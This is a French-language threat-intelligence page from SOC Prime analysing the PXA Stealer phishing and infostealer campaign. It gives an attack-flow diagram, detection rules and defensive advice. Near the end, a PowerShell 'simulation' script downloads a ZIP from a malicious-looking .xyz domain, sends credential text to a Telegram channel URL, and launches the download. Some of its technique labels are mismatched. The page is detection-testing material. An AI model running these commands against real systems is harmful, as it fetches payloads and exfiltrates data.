SOC Prime Bias: Moyen

31 Mar 2026 16:58

Du phishing à l’exfiltration : Analyse approfondie de PXA Stealer

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Du phishing à l’exfiltration : Analyse approfondie de PXA Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport décrit une forte augmentation de l’activité de PXA Stealer ciblant les organisations financières au début de 2026. Les acteurs de la menace diffusent des archives ZIP malveillantes via des e-mails de phishing et s’appuient sur une chaîne d’infection multi-étapes qui abuse des outils système légitimes et d’un interpréteur Python renommé. Une fois actif, le malware vole les identifiants de navigateur, les mots de passe enregistrés et les données des portefeuilles de crypto-monnaies, puis exfiltre les informations collectées via Telegram. La campagne souligne comment les opérateurs ont ajusté leur mode opératoire suite aux perturbations antérieures d’autres écosystèmes d’infostealers.

Enquête

Les chercheurs de CyberProof ont reconstruit la chaîne d’attaque complète, commençant par un e-mail de phishing qui a livré une archive Pumaproject.zip malveillante et se terminant par une exfiltration basée sur Telegram. Leur analyse a identifié l’abus de Certutil pour le décodage, une copie de WinRAR déguisée en picture.png pour l’extraction, un dossier Dots caché, et un interpréteur Python renommé svchost.exe utilisé pour lancer un script obfusqué lié à un identifiant de bot. La persistance est maintenue grâce à une entrée de valeur de registre.

Atténuation

Les défenseurs doivent identifier les pièces jointes d’archive suspectes, surveiller l’exécution de scripts et les LOLBins connus à partir de chemins inattendus, et bloquer le trafic sortant vers Telegram ainsi que des TLD inhabituels tels que .shop and .xyz. Les équipes de sécurité doivent également renforcer les passerelles de messagerie et appliquer des contrôles stricts d’exécution aux fichiers Office et au contenu basé sur des scripts.

Réponse

Lorsqu’un PXA Stealer est détecté, isolez le hôte affecté, capturez les preuves volatiles, et recherchez les artefacts de fichiers référencés et les modifications du registre. Supprimez les fichiers malveillants, terminez les processus affectés, et réinitialisez tous les identifiants exposés. Les équipes doivent ensuite effectuer une chasse aux menaces plus large pour identifier des indicateurs correspondants à travers l’environnement et informer les parties prenantes concernées.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe."] class action_phishing action file_zip["<b>File</b> – Pumaproject.zip<br/><b>Contains</b>: Document.docx.exe"] class file_zip file action_user_exec["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Description: Victim opens the attached executable."] class action_user_exec action process_malicious_exe["<b>Process</b> – Document.docx.exe"] class process_malicious_exe process action_execution_hijack["<b>Action</b> – <b>T1574 Hijack Execution Flow</b><br/>Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf."] class action_execution_hijack action process_inter_cmd["<b>Process</b> – inter.cmd"] class process_inter_cmd process tool_certutil["<b>Tool</b> – certutil.exe<br/><b>Purpose</b>: Decode base64 content"] class tool_certutil tool file_shodan_pdf["<b>File</b> – Shodan.pdf<br/><b>Contains</b>: Base64 encoded payload"] class file_shodan_pdf file action_defense_embedded["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>Description: Payload hidden inside PDF file."] class action_defense_embedded action action_decode["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Description: certutil decodes the payload."] class action_decode action action_hidden_dir["<b>Action</b> – <b>T1564.001 Hidden Files and Directories</b><br/>Description: Malware creates hidden folder "Dots" for intermediate files."] class action_hidden_dir action file_hidden_dir["<b>File</b> – Dots (hidden directory)"] class file_hidden_dir file action_relocate["<b>Action</b> – <b>T1070.010 Indicator Removal: Relocate Malware</b><br/>Description: Moves malicious files into hidden "Dots" directory."] class action_relocate action action_compression["<b>Action</b> – <b>T1027.015 Compression</b><br/>Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201)."] class action_compression action tool_winar["<b>Tool</b> – WinRAR (renamed picture.png)"] class tool_winar tool file_archive["<b>File</b> – Password protected archive (shodan2201)"] class file_archive file action_rc_script["<b>Action</b> – <b>T1037.004 RC Scripts</b><br/>Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument."] class action_rc_script action process_svc_host["<b>Process</b> – svchost.exe (malicious Python interpreter)"] class process_svc_host process action_active_setup["<b>Action</b> – <b>T1547.014 Active Setup</b><br/>Description: Registry entry added to run svchost.exe at startup."] class action_active_setup action action_com_hijack["<b>Action</b> – <b>T1546.015 COM Hijacking</b><br/>Description: COM hijacking registry entry created for automatic execution."] class action_com_hijack action action_cred_browser["<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b><br/>Description: Injects into browsers to steal passwords, cookies, crypto wallet data."] class action_cred_browser action action_cred_cookies["<b>Action</b> – <b>T1539 Steal Web Session Cookie</b><br/>Description: Extracts web session cookies for reuse."] class action_cred_cookies action action_keylogging["<b>Action</b> – <b>T1056.001 Input Capture: Keylogging</b><br/>Description: Captures keystrokes from the user."] class action_keylogging action action_exfil_telegram["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>Description: Sends collected data to attacker‑controlled Telegram channels."] class action_exfil_telegram exfil action_exfil_c2["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b>

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing[« <b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Email avec ZIP malveillant (Pumaproject.zip) contenant Document.docx.exe. »] class action_phishing action file_zip[« <b>File</b> – Pumaproject.zip<br/><b>Contient</b>: Document.docx.exe »] class file_zip file action_user_exec[« <b>Action</b> – <b>T1204.002 User Execution: Fichier Malveillant</b><br/>Description: La victime ouvre l’exécutable attaché. »] class action_user_exec action process_malicious_exe[« <b>Process</b> – Document.docx.exe »] class process_malicious_exe process action_execution_hijack[« <b>Action</b> – <b>T1574 Détournement du Flux d’Exécution</b><br/>Description: Lance inter.cmd et utilise certutil pour décoder la charge utile à partir de Shodan.pdf. »] class action_execution_hijack action process_inter_cmd[« <b>Process</b> – inter.cmd »] class process_inter_cmd process tool_certutil[« <b>Tool</b> – certutil.exe<br/><b>Objectif</b>: Décoder le contenu base64 »] class tool_certutil tool file_shodan_pdf[« <b>File</b> – Shodan.pdf<br/><b>Contient</b>: Charge utile encodée en base64 »] class file_shodan_pdf file action_defense_embedded[« <b>Action</b> – <b>T1027.009 Charges utiles intégrées</b><br/>Description: Charge utile cachée à l’intérieur du fichier PDF. »] class action_defense_embedded action action_decode[« <b>Action</b> – <b>T1140 Déobfuscation/Décodage de Fichiers ou Informations</b><br/>Description: certutil décode la charge utile. »] class action_decode action action_hidden_dir[« <b>Action</b> – <b>T1564.001 Fichiers et Répertoires Cachés</b><br/>Description: Malware crée le dossier caché « Dots » pour les fichiers intermédiaires. »] class action_hidden_dir action file_hidden_dir[« <b>File</b> – Dots (répertoire caché) »] class file_hidden_dir file action_relocate[« <b>Action</b> – <b>T1070.010 Suppression d’Indicateur : Replacer le Malware</b><br/>Description: Déplace les fichiers malveillants dans le répertoire caché « Dots ». »] class action_relocate action action_compression[« <b>Action</b> – <b>T1027.015 Compression</b><br/><b>Description</b>: WinRAR déguisé en picture.png extrait l’archive protégée par mot de passe (mot de passe shodan2201). »] class action_compression action tool_winar[« <b>Tool</b> – WinRAR (renommé picture.png) »] class tool_winar tool file_archive[« <b>File</b> – Archive protégée par mot de passe (shodan2201) »] class file_archive file action_rc_script[« <b>Action</b> – <b>T1037.004 Scripts RC</b><br/>Description: Python portable déposé, renommé en svchost.exe et exécuté avec l’argument $BOT_ID. »] class action_rc_script action process_svc_host[« <b>Process</b> – svchost.exe (interpréteur Python malveillant) »] class process_svc_host process action_active_setup[« <b>Action</b> – <b>T1547.014 Configuration Active</b><br/>Description: Entrée de registre ajoutée pour exécuter svchost.exe au démarrage. »] class action_active_setup action action_com_hijack[« <b>Action</b> – <b>T1546.015 Détournement COM</b><br/>Description: Entrée de registre de détournement COM créée pour une exécution automatique. »] class action_com_hijack action action_cred_browser[« <b>Action</b> – <b>T1555.003 Identifiants des Navigateurs Web</b><br/>Description: Injecte dans les navigateurs pour voler des mots de passe, des cookies, des données de portefeuilles cryptos. »] class action_cred_browser action action_cred_cookies[« <b>Action</b> – <b>T1539 Vol de Cookie de Session Web</b><br/>Description: Extrait des cookies de session web pour réutilisation. »] class action_cred_cookies action action_keylogging[« <b>Action</b> – <b>T1056.001 Capture de Saisie: Keylogging</b><br/>Description: Capture les frappes clavier de l’utilisateur. »] class action_keylogging action action_exfil_telegram[« <b>Action</b> – <b>T1567 Exfiltration Par Service Web</b><br/>Description: Envoie les données collectées à des canaux Telegram contrôlés par l’attaquant. »] class action_exfil_telegram exfil action_exfil_c2[« <b>Action</b> – <b>T1041 Exfiltration via Canal C2</b><br/>Description: Utilise Telegram comme canal C2 et d’exfiltration. »] class action_exfil_c2 exfil %% Connections action_phishing –>|livre| file_zip file_zip –>|exécute| action_user_exec action_user_exec –>|lance| process_malicious_exe process_malicious_exe –>|lance| action_execution_hijack action_execution_hijack –>|génère| process_inter_cmd process_inter_cmd –>|utilise| tool_certutil tool_certutil –>|décode| file_shodan_pdf file_shodan_pdf –>|contient| action_defense_embedded action_defense_embedded –>|déclenche| action_decode action_decode –>|crée| action_hidden_dir action_hidden_dir –>|crée| file_hidden_dir action_hidden_dir –>|stocke| action_relocate action_relocate –>|déplace les fichiers dans| file_hidden_dir action_relocate –>|mène à| action_compression action_compression –>|utilise| tool_winar tool_winar –>|extrait| file_archive file_archive –>|fournit| action_rc_script action_rc_script –>|exécute| process_svc_host process_svc_host –>|établit| action_active_setup process_svc_host –>|établit| action_com_hijack process_svc_host –>|active| action_cred_browser process_svc_host –>|active| action_cred_cookies process_svc_host –>|active| action_keylogging action_keylogging –>|alimente les données vers| action_exfil_telegram action_cred_browser –>|alimente les données vers| action_exfil_telegram action_cred_cookies –>|alimente les données vers| action_exfil_telegram action_exfil_telegram –>|utilise le canal| action_exfil_c2

Flux d’Attaque

Détections

Exécution de Processus Systèmes depuis des Chemins Atypiques (via process_creation)

Équipe SOC Prime
31 Mar 2026

Commande et Contrôle Suspect par Requête DNS de Domaine de Premier Niveau (TLD) Inhabituels (via dns)

Équipe SOC Prime
31 Mar 2026

Exécution Suspecte depuis le Profil Public de l’Utilisateur (via process_creation)

Équipe SOC Prime
31 Mar 2026

Extension Inhabituelle de Binary Exécutable (via process_creation)

Équipe SOC Prime
31 Mar 2026

Fichiers Suspects dans le Profil Public de l’Utilisateur (via file_event)

Équipe SOC Prime
31 Mar 2026

Utilisation de Certutil pour le Codage des Données et Opérations Cert (via cmdline)

Équipe SOC Prime
31 Mar 2026

IOC (HashMd5) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer Partie 2

Règles AI de SOC Prime
31 Mar 2026

IOC (DestinationIP) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer

Règles AI de SOC Prime
31 Mar 2026

IOC (HashMd5) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer Partie 1

Règles AI de SOC Prime
31 Mar 2026

IOC (SourceIP) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer

Règles AI de SOC Prime
31 Mar 2026

IOC (HashSha256) à détecter : De l’Hameçonnage à l’Exfiltration : Une Plongée dans PXA Stealer

Règles AI de SOC Prime
31 Mar 2026

Détection des Activités d’Exécution de PXA Stealer [Création de Processus Windows]

Règles AI de SOC Prime
31 Mar 2026

Détecter les Connexions Sortantes de PXA Stealer [Connexion Réseau Windows]

Règles AI de SOC Prime
31 Mar 2026

Exécution de Simulation

Prérequis : La Vérification Pré-vol de Télémétrie & Baseline doit avoir réussi.

Rationale : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narrative d’Attaque & Commandes :
    L’acteur de la menace déploie le PXA Stealer sur un hôte Windows compromis. Après que l’utilisateur ait exécuté sans le savoir le binaire malveillant initial (T1204.002), le stealer exécute un extrait de PowerShell qui :

    1. Télécharge un ZIP malveillant du domaine codé en dur downloadtheproject.xyz (T1202 – exécution indirecte de commande).
    2. Exfiltre les données récoltées en postant un message à un canal Telegram via t.me (T1559.002 – lien de phishing).
    3. Charge éventuellement un composant COM malveillant pour atteindre la persistance (T1127.002).

    Les deux requêtes HTTP GET sortantes génèrent les champs DestinationDomain que la règle Sigma surveille, provoquant une alerte.

  • Script de Test de Régression :

    # Simulation de PXA Stealer – déclenche la règle de détection
    $tmpZip = "$env:TEMPpayload.zip"
    $tmpMsg = "$env:TEMPsteal.txt"
    
    # 1. Télécharge le ZIP malveillant depuis le premier domaine malveillant
    Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing
    
    # 2. Simule l'exfiltration de données via le lien Telegram
    $payload = "Identifiants utilisateur : admin / Pass123!"
    Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII
    Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing
    
    # 3. (Optionnel) Charge un objet COM factice pour émuler T1127.002
    try {
        $com = New-Object -ComObject "Shell.Application"
        $com.ShellExecute($tmpZip, "", "", "ouvrir", 0) | Out-Null
    } catch {
        # Ignorer les erreurs – ceci est uniquement pour la télémétrie
    }
  • Commandes de Nettoyage :

    # Supprime les artefacts créés par la simulation
    Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue
    Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue